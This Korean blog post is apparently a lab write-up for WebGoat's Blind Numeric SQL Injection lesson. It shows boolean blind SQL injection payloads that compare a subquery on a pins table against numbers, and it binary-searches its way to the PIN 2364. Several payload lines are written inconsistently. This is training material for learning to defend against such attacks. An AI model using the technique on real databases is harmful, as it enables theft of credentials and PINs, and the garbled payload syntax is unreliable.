일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 웹
- hacking
- 알고리즘
- Web
- 모의해킹
- 해킹
- Webhaking
- 시스템
- 웹해킹
- 비박스
- reversing
- WarGame
- 시스템해킹
- 소프트웨어
- 드림핵
- 리버싱
- System
- XSS
- 워게임
- bee-box
- 소프트웨어보안
- webhacking
- 순서도
- network
- 네트워크
- dreamhack
- ftz
- CodeEngn
- TCP
- 네트워크보안
- Today
- Total
Without a Break
[WebGoat] Blind Numeric SQL Injection 본문
pins 테이블에서 1111222233334444인 행에 대한 pin 필드의 값를 찾는 문제
SELECT * from accounts where account_number=101
SQL 쿼리는 위와 같다.
(1) cc_number는 111122223333444
(2) 테이블명은 pins
(3) 필드의 값은 pin 이다.
이와 같은 조건을 출력하는 SQL 문을 작성하면 select pin from pins where cc_number='1111222233334444' 이 된다.
따라서, 공격 쿼리는 다음과 같다.
SELECT * from accounts where account_number= '1111222233334444' 101 and (select pin from pins where cc_number='1111222233334444')>[숫자]
1) SELECT pin from pins where cc_number=1111222233334444 101 and select pin from pins where cc_number='1111222233334444'>2000
pin 값은 2000보다 크다.
2) SELECT pin from pins where cc_number=1111222233334444 101 and select pin from pins where cc_number='1111222233334444'>3000
pin 값은 3000보다 작다.
3) SELECT pin from pins where cc_number=1111222233334444 101 and select pin from pins where cc_number='1111222233334444'>2500
pin 값은 2500보다 작다.
이를 계속 해보면,
>2400 => invalid
>2300 => vaild
>2350 => vaild
>2370 => invalid
>2360 => valid
>2365 => invalid
>2364 => invalid
>2363 => valid
=2364 => valid
따라서 pin 값은 2364이다.
'Web > Wargame' 카테고리의 다른 글
[WebGoat] Command Injection (0) | 2024.08.26 |
---|---|
[WebGoat] Blind String SQL Injection (0) | 2024.08.25 |
[WebGoat] Stage 3: Numeric SQL Injection (0) | 2024.08.25 |
[Webgoat] Stage 1: String SQL Injection (0) | 2024.08.25 |
[Webgoat] Numeric SQL Injection (0) | 2024.08.25 |